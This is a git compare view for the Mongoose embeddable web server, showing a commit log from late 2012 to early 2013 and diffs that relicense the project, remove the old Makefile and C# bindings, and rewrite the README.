Sergey Lyubka ca2fc71a01 Changed systray icon 2013-01-17 11:26:50 +00:00
Sergey Lyubka e61e371c16 Changed user manual 2013-01-17 11:20:59 +00:00
Sergey Lyubka d5f07f5b9b Changed README 2013-01-17 11:07:53 +00:00
Sergey Lyubka 0a8d5dde51 Changed README 2013-01-17 10:59:42 +00:00
Sergey Lyubka 5646caa572 Using poll() instead of select() to prevent FD_SETSIZE overflows, for programs that open large number of descriptors 2013-01-16 23:45:03 +00:00
Sergey Lyubka c7e5573d08 Not building DLLs. Using separate target for cocoa mac app. 2013-01-16 23:43:06 +00:00
Sergey Lyubka b9a226d109 Adding command line options 2013-01-15 13:53:25 +00:00
Sergey Lyubka fcf8b86288 Adding command line options 2013-01-15 13:51:35 +00:00
Sergey Lyubka a8b08c6784 Fixing http://code.google.com/p/mongoose/issues/detail?id=392 2013-01-15 13:24:53 +00:00
Sergey Lyubka 1fb6f391a1 In mg_upload(), use fopen() with "wb" mode instead of "wbx", cause "x" is not understood by Mac and Windows. 2013-01-13 10:55:42 +00:00
Sergey Lyubka fcbc36ecde return 0; after PostQuitMessage() 2013-01-10 16:26:01 +00:00
Sergey Lyubka 70771f29ce Config edit implemented for mac 2013-01-10 16:24:42 +00:00
Sergey Lyubka 121391504f mongoose.app -> Mongoose.app 2013-01-10 16:24:12 +00:00
Sergey Lyubka 8455742440 Pass reply status code to MG_REQUEST_COMPLETE 2013-01-10 09:56:24 +00:00
Sergey Lyubka 5b786a5089 make release corrected 2013-01-09 21:21:04 +00:00
Sergey Lyubka a6e74e7707 3.5 -> 3.6 2013-01-09 20:55:21 +00:00
Benoît Amiaux acf72a6109 Add request_timeout option 2013-01-09 17:09:04 +01:00
Sergey Lyubka 2b76f5fc2a removed 2013-01-09 15:50:31 +00:00
Sergey Lyubka c0150606f0 Removed bindings from the Makefile 2013-01-09 15:48:38 +00:00
Sergey Lyubka cdb6588973 Fix to stop misbehaving clients to DoS mongoose 2013-01-09 14:30:25 +00:00
Sergey Lyubka eecf24b20c Improved CGI disclosure protection 2013-01-09 14:24:50 +00:00
Sergey Lyubka 0470e813a9 renamed 2013-01-05 10:12:08 +00:00
Sergey Lyubka 52c2b6a407 renamed 2013-01-05 10:11:52 +00:00
Sergey Lyubka d0ce4b9d81 Added 2013-01-05 10:08:21 +00:00
Sergey Lyubka f08af96294 Updated user manual 2013-01-04 22:02:08 +00:00
Sergey Lyubka 315ab663df Update README.md 2013-01-04 21:25:58 +00:00
Sergey Lyubka fbd46f9b1c Updated user manual 2013-01-04 21:05:55 +00:00
Sergey Lyubka 74c099fe63 Updated user manual 2013-01-04 21:04:54 +00:00
Sergey Lyubka 2acfab62f0 Updated user manual 2013-01-04 21:01:13 +00:00
Sergey Lyubka 0f9a6266e2 Updated user manual 2013-01-04 17:37:19 +00:00
Sergey Lyubka ca447d9a23 Updated user manual 2013-01-04 17:33:55 +00:00
Sergey Lyubka 444dbe1cec Updated user manual 2013-01-04 17:29:47 +00:00
Sergey Lyubka 20ce55eb3a Using consistent date format 2013-01-03 22:42:14 +00:00
Sergey Lyubka 3956aba429 Correctedfor UserManual 2013-01-03 22:39:48 +00:00
Sergey Lyubka 6a37f5e4d6 Local reference for UserManual 2013-01-03 22:36:53 +00:00
Sergey Lyubka f71bfd5e28 Added skeleton for the user manual 2013-01-03 22:36:10 +00:00
Sergey Lyubka 38cc14a1af Initial version for the Macos app bundle 2013-01-03 15:46:47 +00:00
Sergey Lyubka bde9a63390 Endianess patch by Forrest 2013-01-03 10:29:34 +00:00
Sergey Lyubka 8eb816c314 Added icons 2013-01-03 08:42:32 +00:00
Sergey Lyubka 50c05c4eed Renamed win32 -> build 2013-01-02 18:21:46 +00:00
Sergey Lyubka 4eb5cfab7b Renamed win32 -> build 2013-01-02 18:15:36 +00:00
Sergey Lyubka df6fe7a379 Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-01-02 17:53:01 +00:00
Sergey Lyubka 78eec961a2 Removing bindings code, because of inability to provide support for it 2013-01-02 17:51:12 +00:00
Sergey Lyubka adff33c889 Removing bindings code, because of inability to provide support for it 2013-01-02 17:51:01 +00:00
Sergey Lyubka 372fcd722c Update README.md 2013-01-02 14:06:28 +00:00
Sergey Lyubka 0982863e2d Update README.md 2013-01-02 13:50:27 +00:00
Sergey Lyubka 9b58a951f0 Update README.md 2013-01-02 13:48:40 +00:00
Sergey Lyubka ba04f3fd5d Update README.md 2013-01-02 13:35:30 +00:00
Sergey Lyubka ff52367c1c Update README.md 2013-01-02 13:34:07 +00:00
Sergey Lyubka a0a017d54d Update README.md 2013-01-02 13:32:07 +00:00
Sergey Lyubka 6cad2c6f28 Update README.md 2013-01-02 13:29:29 +00:00
Sergey Lyubka cec98ee9e2 Update README.md 2013-01-01 23:11:15 +00:00
Sergey Lyubka dbef400762 Mission statement 2013-01-01 23:05:09 +00:00
Sergey Lyubka 1bd85de19a Update README.md 2012-12-31 11:22:35 +00:00
Sergey Lyubka 0b206129ac Update README.md 2012-12-26 12:21:18 +00:00
Sergey Lyubka 5e491801da 3.4 -> 4.5 2012-12-26 10:02:14 +00:00
Sergey Lyubka eed09600f7 Ignoring .htpasswd file for PUT and DELETE requests. Those use separate passwords file. 2012-12-25 11:49:41 +00:00
Sergey Lyubka 8d6634ff7e Allowing HEAD method for CGI requests 2012-12-25 11:22:48 +00:00
Sergey Lyubka 6c9ed3ca53 Changed GetFullPathName -> GetFullPathNameA 2012-12-25 11:08:03 +00:00
Sergey Lyubka ede1befffa Fix read_websocket() for content length > 125 2012-12-25 11:05:19 +00:00
Sergey Lyubka 2cd4852321 Restore SIGCHLD handler to SIG_DFL in CGI process 2012-12-25 11:00:29 +00:00
Sergey Lyubka 1eb719f2d9 Checking for endianness in runtime in MD5 and SHA code 2012-12-24 21:23:34 +00:00
Sergey Lyubka bf633082ac Update README.md 2012-12-24 14:09:48 +00:00
Sergey Lyubka 075a152779 Update README.md 2012-12-24 11:09:44 +00:00
Sergey Lyubka c079a13b24 Update README.md 2012-12-24 11:09:23 +00:00
Sergey Lyubka 113c9d5a02 Fix keep-alive handling in process_new_connection() 2012-12-24 11:01:56 +00:00
Sergey Lyubka 05fa677382 Fixed unit test to accomodate mg_get_var() API change 2012-12-24 10:43:15 +00:00
Sergey Lyubka ab3c070e1c Merge pull request #66 from nullable-type/master
Made behavior of mg_get_cookie(..) regarding errors the same as of mg_get_var(..)
2012-12-23 04:40:35 -08:00
Sergey Lyubka 2e6a01b931 Fix for the relative document root & PHP 2012-12-22 18:24:48 +00:00
Sergey Lyubka 9fa66bf237 Merge branch 'master' of ssh://github.com/valenok/mongoose 2012-12-22 08:55:36 +00:00
Sergey Lyubka 98c382e7af Merge pull request #67 from tayS/ssl_pending
Fix for hang when sending large request with SSL enabled
2012-12-22 00:55:07 -08:00
Sergey Lyubka 94c7a3862a Update README.md 2012-12-21 21:47:14 +00:00
tayS 6869b64b31 Fix for hang when sending large request with SSL enabled
When using SSL, we must use SSL_pending() in addition to/instead of select() to determine whether there is SSL data to be read.
This update makes the SSL_pending() function available and uses is to check for data if select() indicates there is no data.

See https://github.com/valenok/mongoose/issues/47
2012-12-21 12:38:34 -06:00
nullable.type 8faf6f7b72 Made behavior of mg_get_cookie(..) on errors the same as mg_get_var(..). Separated the two cases a.) problems with destination buffer and b.) cookie header or cookie parameter not existing. 2012-12-16 22:20:21 +01:00
Sergey Lyubka 99ddb2f12a Merge branch 'master' of ssh://github.com/valenok/mongoose 2012-12-16 13:09:08 +00:00
Sergey Lyubka ca9212c3ca Merge pull request #65 from nullable-type/master
Inconsistent error codes of mg_get_var(..)
2012-12-16 04:15:52 -08:00
nullable.type c9183f3851 Made the names of the function arguments of the declaration and the definition of mg_get_var(..) the same.
Changed the error codes to have a consistent way of reporting errors. -2 is returned if there is a problem with the size of the destination buffer. -1 is returned if the variable is not found.

Updated the documentation of mg_get_var(..) in mongoose.h and removed the redundant comments from mongoose.c.
2012-12-16 12:27:53 +01:00
Sergey Lyubka 0912a7f473 Merge pull request #60 from bakanatorz/master
Added support for Ogg Vorbis audio files
2012-12-09 13:26:57 -08:00
Sergey Lyubka 38421657b3 Minor refactoring in examples/upload.c 2012-12-08 14:53:46 +00:00
Sergey Lyubka 64cfe1d389 Merge pull request #49 from nullable-type/master
Avoid some level-4 warnings issued by Visual Studio (2012 and possibly previous versions)
2012-12-08 06:47:35 -08:00
Sergey Lyubka 69b0b58d46 Merge branch 'master' of ssh://github.com/valenok/mongoose 2012-12-07 01:50:52 +00:00
Sergey Lyubka 0d442058e5 Added mg_upload() 2012-12-07 01:50:47 +00:00
Sergey Lyubka 1ef31461bc Added test_skip_quoted() 2012-12-07 01:50:12 +00:00
Sergey Lyubka 0b09df97ac On new connection, clear off receiving buffer 2012-12-05 23:07:20 +00:00
Sergey Lyubka 0263e39584 Minor refactoring 2012-11-30 15:01:15 +00:00
Sergey Lyubka d8424726bb Using O_BINARY on win32 for uploaded files 2012-11-30 10:09:39 +00:00
Sergey Lyubka 080cb2dd4b Changed signature of url_decode(): signalling on destination buffer overflow. mg_get_var() now does not require extra space for variable buffer 2012-11-14 09:26:02 -08:00
Eric Bakan 786caaecb2 Added support for Ogg Vorbis audio files 2012-11-12 10:40:19 -05:00
nullable.type eb92b5f1b3 Avoid memory leaks if duplicate options are passed. 2012-11-02 22:52:47 +01:00
nullable.type c5ba6016aa Suppress warning C4127 (conditional expression is constant) issued by Visual Studio 2012 introduced by FD_SET(..) which is using the do-while(0) trick. 2012-10-27 14:09:26 +02:00
nullable.type 73a845a327 Suppress warning C4204 (non-constant aggregate initializer) issued by Visual Studio 2012 due to missing C99 support. 2012-10-27 14:07:06 +02:00
nullable.type 6eec552ea4 Added declaration to avoid warning C4115 (named type definition in parentheses) issued by Visual Studio 2012. 2012-10-27 14:04:41 +02:00
Sergey Lyubka cb62203cf3 More documentation for MG_OPEN_FILE event 2012-10-25 21:47:04 +01:00
Sergey Lyubka 4fcb64fe90 Fix exception in win32 code path when CGI exec fails 2012-10-24 10:12:32 +01:00
Sergey Lyubka 8966f47c7a Merge branch 'master' of ssh://github.com/valenok/mongoose 2012-10-23 20:21:38 +01:00
Sergey Lyubka e251375c0c Using .lp extension for Lua server pages 2012-10-23 20:21:24 +01:00
Sergey Lyubka 672e1ec8c6 Merge pull request #44 from mitchh/master
Fix 30s hang->timeout when closing a socket with no more data
2012-10-20 00:39:51 -07:00
Mitch Hendrickson f8713ede2d Use existing must_close flag instead of adding is_closing 2012-10-19 19:51:01 -07:00
Mitch Hendrickson 0b5f854bf0 Fix 30s timeout when closing a socket that has no remaining data, introduced in 375950f6; setting the socket nonblocking makes recv() return instantly but not select() 2012-10-15 23:09:14 -07:00
Sergey Lyubka 3770020b74 Remove winsock include - windows.h does that for us 2012-10-14 15:08:43 +01:00
Sergey Lyubka 9f9a1638f7 clean target added 2012-10-14 15:00:04 +01:00
Sergey Lyubka fb07a937e7 Merge pull request #43 from sebbern/master
Winsock2.h included after windows.h
2012-10-13 04:35:06 -07:00
Sebastian Reinhard 025cd283c4 Fixed an error in mongoose.c that caused a lot of errors where winsock2.h was included after windows.h 2012-10-13 12:47:51 +02:00
Sergey Lyubka b39426dbf7 Showing error message 2012-10-12 14:28:35 +01:00
Sergey Lyubka 5157bd0960 Merge branch 'master' of ssh://github.com/valenok/mongoose 2012-10-10 15:12:30 +01:00
Sergey Lyubka 2aaedef4af Trimming whitespaces properly in windows CGI interpreter name 2012-10-10 15:12:16 +01:00
Sergey Lyubka a0b037d288 Merge pull request #39 from shantanugadgil/patch-1
Add mime type for .xsl
2012-10-08 00:53:50 -07:00
shantanugadgil 011bdc22b2 Update mongoose.c
Add default MIME type for xsl
2012-10-08 09:55:33 +05:30
Sergey Lyubka b437d56736 Added MG_INIT_LUA event 2012-10-08 00:09:43 +01:00
Sergey Lyubka 6205e69ab2 Fixed python bindings 2012-10-07 16:26:04 +01:00
Sergey Lyubka 038f8823f1 Added test to mg_stat(). Fixed set_gpass() 2012-10-05 08:58:13 +01:00
Sergey Lyubka 03dd8367bf Merge branch 'master' of ssh://github.com/valenok/mongoose 2012-10-05 02:10:47 +01:00
Sergey Lyubka b597da34da Pass user_data to the callback 2012-10-05 02:10:35 +01:00
Sergey Lyubka bf387f9544 Added Lua build instructions 2012-10-01 22:24:22 +01:00
Sergey Lyubka 365b5e8f8a Using long for file size in MG_OPEN_FILE ev_data 2012-10-01 10:19:20 +01:00
Sergey Lyubka 47651766fb Squashed warning under linux 2012-09-30 16:35:09 +01:00
Sergey Lyubka 043ea54a2a Removed test cruft for MG_OPEN_FILE message from the event handler 2012-09-29 22:24:16 +01:00
Sergey Lyubka 55c8c82c4b Fixed windows build 2012-09-29 22:21:10 +01:00
Sergey Lyubka 557d1f4c49 Added MG_OPEN_FILE message 2012-09-29 18:56:41 +01:00
Sergey Lyubka 2539a473fe Added test for byte range past EOF 2012-09-29 18:56:23 +01:00
Sergey Lyubka 6bd35a4c18 Style changes 2012-09-28 10:36:31 +01:00
Sergey Lyubka fb8f0ed4d6 Better comments in Makefile 2012-09-27 23:58:35 +01:00
Sergey Lyubka 3ffdf5459a API change: folded user_data into request_info, and introduced event-specific ev_data 2012-09-27 22:20:02 +01:00
Sergey Lyubka 02098b1903 API change: folded user_data into request_info, and introduced event-specific ev_data 2012-09-27 21:48:05 +01:00
Sergey Lyubka c189553c8b Cosmetic changes for CYA_SOURCES 2012-09-27 08:27:45 +01:00
Sergey Lyubka d970705596 #define MAP_PRIVATE 0 for _WIN32 2012-09-27 08:19:14 +01:00
Sergey Lyubka 5c9ab40601 Using MAP_PRIVATE for mmap, to fix mac build for Lua 2012-09-27 08:17:31 +01:00
Sergey Lyubka 451d077170 cygwin target added 2012-09-27 00:33:33 +01:00
Sergey Lyubka 30d1573346 Fixed spawn_proccess() for win32 for .exe binaries 2012-09-27 00:27:20 +01:00
Sergey Lyubka 0adef2db5b Merge branch 'master' of ssh://github.com/valenok/mongoose 2012-09-26 23:37:15 +01:00
Sergey Lyubka 8c1866a4af Lua server pages support 2012-09-26 23:37:03 +01:00
Sergey Lyubka 2a7a594b49 Squashed warning under linux 2012-09-25 12:35:30 +01:00
Sergey Lyubka 78ea04556f Windows build for examples added 2012-09-24 21:25:06 +01:00
Sergey Lyubka 7fe2944477 Squashed warnings in win32 websocket code 2012-09-24 21:24:02 +01:00
Sergey Lyubka 93131417e6 is_websocket_request() modified to check for the presence of keyword rather then euqality 2012-09-24 09:38:02 +01:00
Sergey Lyubka 6ef5eb0665 Changed overview 2012-09-24 09:04:28 +01:00
Sergey Lyubka 24103ff5df Added more things to features section 2012-09-23 15:06:09 +01:00
Sergey Lyubka 2118de37c3 3.3 -> 3.4 2012-09-23 15:02:18 +01:00
79 changed files with 7717 additions and 8330 deletions

No files matched your search

+13 -16
View File
@@ -1,19 +1,16 @@
Copyright (c) 2004-2010 Sergey Lyubka
Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
Copyright (c) 2013 Cesanta Software Limited
All rights reserved
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
This code is dual-licensed: you can redistribute it and/or modify
it under the terms of the GNU General Public License version 2 as
published by the Free Software Foundation. For the terms of this
license, see <http://www.gnu.org/licenses>.
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
You are free to use this code under the terms of the GNU General
Public License, but WITHOUT ANY WARRANTY; without even the implied
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Alternatively, you can license this code under a commercial
license, as set out in <http://cesanta.com/>.
-147
View File
@@ -1,147 +0,0 @@
# This file is part of Mongoose project, http://code.google.com/p/mongoose
# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
PROG= mongoose
all:
@echo "make (linux|bsd|solaris|mac|windows|mingw)"
# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
# -DHAVE_MD5 - use system md5 library (-2kb)
# -DNDEBUG - strip off all debug code (-5kb)
# -DDEBUG - build debug version (very noisy) (+7kb)
# -DNO_CGI - disable CGI support (-5kb)
# -DNO_SSL - disable SSL functionality (-2kb)
# -DCONFIG_FILE=\"file\" - use `file' as the default config file
# -DHAVE_STRTOUI64 - use system strtoui64() function for strtoull()
# -DSSL_LIB=\"libssl.so.<version>\" - use system versioned SSL shared object
# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
##########################################################################
### UNIX build: linux, bsd, mac, rtems
##########################################################################
GCC_WARNS = -W -Wall -pedantic
# -Wno-missing-field-initializers -Wno-unused-parameter -Wno-format-zero-length -Wno-missing-braces
CFLAGS = -std=c99 -O2 $(GCC_WARNS) $(COPT)
MAC_SHARED = -flat_namespace -bundle -undefined suppress
LINFLAGS = -ldl -pthread $(CFLAGS)
LIB = lib$(PROG).so$(MONGOOSE_LIB_SUFFIX)
# Make sure that the compiler flags come last in the compilation string.
# If not so, this can break some on some Linux distros which use
# "-Wl,--as-needed" turned on by default in cc command.
# Also, this is turned in many other distros in static linkage builds.
linux:
$(CC) mongoose.c -shared -fPIC -fpic -o $(LIB) -Wl,-soname,$(LIB) $(LINFLAGS)
$(CC) mongoose.c main.c -o $(PROG) $(LINFLAGS)
bsd:
$(CC) mongoose.c -shared -pthread -fpic -fPIC -o $(LIB) $(CFLAGS)
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
mac:
$(CC) mongoose.c -pthread -o $(LIB) $(MAC_SHARED) $(CFLAGS)
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
solaris:
$(CC) mongoose.c -pthread -lnsl \
-lsocket -fpic -fPIC -shared -o $(LIB) $(CFLAGS)
$(CC) mongoose.c main.c -pthread -lnsl -lsocket -o $(PROG) $(CFLAGS)
##########################################################################
### WINDOWS build: Using Visual Studio or Mingw
##########################################################################
# Using Visual Studio 6.0. To build Mongoose:
# o Set MSVC variable below to where VS 6.0 is installed on your system
# o Run "PATH_TO_VC6\bin\nmake windows"
MSVC = e:/vc6
CYA = e:/cyassl-2.0.0rc2
#DBG = /Zi /DDEBUG /Od
DBG = /DNDEBUG /O1
CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /Gz /W3 /DNO_SSL_DL \
/I$(MSVC)/include
GUILIB= user32.lib shell32.lib
LINK = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
/subsystem:windows ws2_32.lib advapi32.lib cyassl.lib
CYAFL = /c /I $(CYA)/include -I $(CYA)/include/openssl /I$(MSVC)/INCLUDE \
/I $(CYA)/ctaocrypt/include /D _LIB /D OPENSSL_EXTRA
CYASRC= \
$(CYA)/src/cyassl_int.c \
$(CYA)/src/cyassl_io.c \
$(CYA)/src/keys.c \
$(CYA)/src/tls.c \
$(CYA)/src/ssl.c \
$(CYA)/ctaocrypt/src/aes.c \
$(CYA)/ctaocrypt/src/arc4.c \
$(CYA)/ctaocrypt/src/asn.c \
$(CYA)/ctaocrypt/src/coding.c \
$(CYA)/ctaocrypt/src/ctc_asm.c \
$(CYA)/ctaocrypt/src/ctc_misc.c \
$(CYA)/ctaocrypt/src/cyassl_memory.c \
$(CYA)/ctaocrypt/src/des3.c \
$(CYA)/ctaocrypt/src/dh.c \
$(CYA)/ctaocrypt/src/dsa.c \
$(CYA)/ctaocrypt/src/ecc.c \
$(CYA)/ctaocrypt/src/hc128.c \
$(CYA)/ctaocrypt/src/hmac.c \
$(CYA)/ctaocrypt/src/integer.c \
$(CYA)/ctaocrypt/src/md4.c \
$(CYA)/ctaocrypt/src/md5.c \
$(CYA)/ctaocrypt/src/pwdbased.c \
$(CYA)/ctaocrypt/src/rabbit.c \
$(CYA)/ctaocrypt/src/random.c \
$(CYA)/ctaocrypt/src/ripemd.c \
$(CYA)/ctaocrypt/src/rsa.c \
$(CYA)/ctaocrypt/src/sha.c \
$(CYA)/ctaocrypt/src/sha256.c \
$(CYA)/ctaocrypt/src/sha512.c \
$(CYA)/ctaocrypt/src/tfm.c
cyassl.lib:
$(CL) $(CYASRC) $(CYAFL) $(DEF)
$(MSVC)/bin/lib *.obj /out:$@
windows: cyassl.lib
$(MSVC)/bin/rc win32\res.rc
$(CL) /I win32 main.c mongoose.c /GA $(LINK) win32\res.res \
$(GUILIB) /out:$(PROG).exe
$(CL) mongoose.c /GD $(LINK) /DLL /DEF:win32\dll.def /out:$(PROG).dll
# Build for Windows under MinGW
#MINGWDBG= -DDEBUG -O0 -ggdb
MINGWDBG= -DNDEBUG -Os
MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
#MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,windows $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
mingw:
windres win32\res.rc win32\res.o
$(CC) $(MINGWOPT) mongoose.c -lws2_32 \
-shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll
$(CC) $(MINGWOPT) -Iwin32 mongoose.c main.c win32\res.o -lws2_32 -ladvapi32 \
-o $(PROG).exe
##########################################################################
### Manuals, cleanup, test, release
##########################################################################
man:
groff -man -T ascii mongoose.1 | col -b > mongoose.txt
groff -man -T ascii mongoose.1 | less
# "TEST=unit make test" - perform unit test only
# "TEST=embedded" - test embedded API by building and testing test/embed.c
# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
tests:
perl test/test.pl $(TEST)
release: clean
F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar -czf x mongoose/{LICENSE,Makefile,bindings,examples,test,win32,mongoose.c,mongoose.h,mongoose.1,main.c} && mv x mongoose/$$F
clean:
rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz $(PROG).exe *.dll *.lib
+54 -22
View File
@@ -1,31 +1,63 @@
Overview
--------
# Mongoose Web Server
Mongoose is easy to use web server. It also can be used as embedded web server library to provide web interface to applications.
Mongoose is easy to use, powerful, embeddable web server.
* [Mailing list](http://groups.google.com/group/mongoose-users)
* [Downloads & Documentation](http://cesanta.com/mongoose.shtml)
* [How to use Lua Server Pages](http://cesanta.com/docs/Lua.shtml)
* [How to create basic website with Mongoose](http://cesanta.com/docs/BasicWebsite.shtml)
* [How to create PHP website with Mongoose](http://cesanta.com/docs/PhpWebsite.shtml)
* [Embedding Guide](http://cesanta.com/docs/Embed.shtml)
Mongoose executable does not depend on any external library or configuration. If it is copied to any directory and launched from there, it starts to serve that directory on port 8080 (so to access files, go to http://localhost:8080). If some additional config is required - for example, different listening port or IP-based access control, then a mongoose.conf file with respective options can be created in the same directory where executable lives. This makes Mongoose perfect for all sorts of demos, quick tests, file sharing, and Web programming.
# Features
- Works on Windows, Mac, UNIX/Linux, iPhone, Android, and many other platforms
- CGI, SSI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, Custom error pages, Virtual hosts, IP-based ACL, Windows service
- Scripting and database support ([Lua](http://lua.org) +
[Sqlite](http://sqlite.org), see
[dirscan.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/dirscan.lp) ),
which provides ready to go, powerful web development platform in
one single-click executable with no dependencies
- Simple and clean
[embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h).
The source is in single
[mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file
to make embedding easy
- Extremely lightweight, has a core of under 40kB and tiny runtime footprint
- Asyncronouns, non-blocking core supporting single- or multi-threaded usage
- On the market since 2004, stable, mature and tested,
has several man-years invested in continuous improvement and refinement
- Professional support and consultancy available from
[Cesanta Software](http://cesanta.com), developer of Mongoose
Features
--------
# Acknowledgements
- Crossplatform - works on Windows, MacOS and most flavors of UNIX
- CGI, SSL, SSI, Digest (MD5) authorization, Websocket, WEbDAV support
- Resumed download, URL rewrite support
- IP-based ACL, Windows service, GET, POST, HEAD, PUT, DELETE methods
- Small footprint: executable size is 40 kB on Linux 2.6 i386 system
- Embeddable with simple and clean API ([mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h)). The source is in single [mongoose.c](https://github.com/valenok/mongoose/blob/master/mongoose.c) file to make things easy.
- Embedding examples: [hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c), [post.c](https://github.com/valenok/mongoose/blob/master/examples/post.c), [upload.c](https://github.com/valenok/mongoose/blob/master/examples/upload.c), [websocket.c](https://github.com/valenok/mongoose/blob/master/examples/websocket.c)
- Python and C# bindings
Mongoose made better thanks to the contribution of following people:
Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
F.Morenius, and 10 others.
Mailing list
------------
# Licensing
You can read it online, subscribe to, or send a message at [mongoose-users](http://groups.google.com/group/mongoose-users).
Mongoose is released under
[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html).
Businesses have an option to get non-restrictive, royalty-free commercial
license and professional support from
[Cesanta Software](http://cesanta.com).
Keep Sergey happy
-----------------
I have a [books wishlist](http://amzn.com/w/1OC2ZCPTQYIEP?sort=priority) on Amazon. If you feel brave, you can buy me a book!
[Frozen JSON parser](https://github.com/cesanta/frozen),
[Super Light Regular Expression library](https://github.com/cesanta/slre),
[Super Light DNS Resolver](https://github.com/cesanta/sldr)
are other projects by Cesanta Software, developed with the same philosophy
of functionality and simplicity.
-52
View File
@@ -1,52 +0,0 @@
// This is C# example on how to use Mongoose embeddable web server,
// http://code.google.com/p/mongoose
//
// Before using the mongoose module, make sure that Mongoose shared library is
// built and present in the current (or system library) directory
using System;
using System.Runtime.InteropServices;
public class Program {
// This function is called when user types in his browser http://127.0.0.1:8080/foo
static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
conn.write("HTTP/1.1 200 OK\r\n\r\n");
conn.write("Hello from C#!\n");
conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
}
static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
{
conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
conn.write("<html><body><head>Calling Info</head>");
conn.write("<p>Request: " + ri.request_method + "</p>");
conn.write("<p>URI: " + ri.uri + "</p>");
conn.write("<p>Query: " + ri.query_string + "</p>");
if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
conn.write("<p>User:" + ri.remote_user + "</p>");
conn.write("<p>IP: " + ri.remote_ip + "</p>");
conn.write("<p>HTTP: " + ri.http_version + "</p>");
conn.write("<p>Port: " + ri.remote_port + "</p>");
conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
{
conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
+ ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
}
conn.write("</body></html>");
}
static void Main() {
Mongoose web_server = new Mongoose();
// Set options and /foo URI handler
web_server.set_option("ports", "8080");
web_server.set_option("root", "c:\\");
web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
// Serve requests until user presses "enter" on a keyboard
Console.ReadLine();
}
}
-134
View File
@@ -1,134 +0,0 @@
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
